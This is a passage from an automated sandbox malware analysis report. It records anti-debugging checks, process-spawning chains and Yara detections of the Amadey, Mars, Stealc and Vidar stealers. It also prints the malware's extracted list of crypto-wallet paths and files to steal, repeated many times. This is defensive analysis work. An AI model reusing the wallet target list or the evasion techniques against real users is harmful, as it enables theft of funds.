Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\So7a8eQerR.exe Code function: 0_2_05340DC0 rdtsc 0_2_05340DC0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose, 4_2_6C0B5FF0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BC410 LoadLibraryW,GetProcAddress,FreeLibrary, 4_2_6C0BC410
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005F643B mov eax, dword ptr fs:[00000030h] 3_2_005F643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005FA1A2 mov eax, dword ptr fs:[00000030h] 3_2_005FA1A2
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C08B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 4_2_6C08B66C
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C08B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 4_2_6C08B1F7
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe "C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe "C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFCBKKKJJJ.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AAFIIJDAAA.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: explorti.exe, explorti.exe, 00000003.00000002.4093184029.00000000007A4000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005DD2E8 cpuid 3_2_005DD2E8
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005DCAED GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 3_2_005DCAED
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.10.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 2.2.explorti.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.GIEHIDHJDB.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.explorti.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.CBFIIEHJDB.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.So7a8eQerR.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.explorti.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.4092705885.00000000005C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1637490155.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.1727956863.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.3329811617.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.1961910471.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1705047766.00000000005C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1672963903.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.3370645589.0000000000251000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1664831569.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.1713328912.00000000005C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2002426220.0000000000AA1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1677709816.0000000000951000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Yara detected Mars stealer
Source: Yara match File source: 15.2.586ef238b2.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.37664d9843.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1957654994.0000000000CE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.3328030922.0000000000201000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1962741464.0000000001EDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 37664d9843.exe PID: 8076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 586ef238b2.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 15.2.586ef238b2.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.37664d9843.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1957654994.0000000000CE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.3328030922.0000000000201000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 37664d9843.exe PID: 8076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 586ef238b2.exe PID: 7592, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron 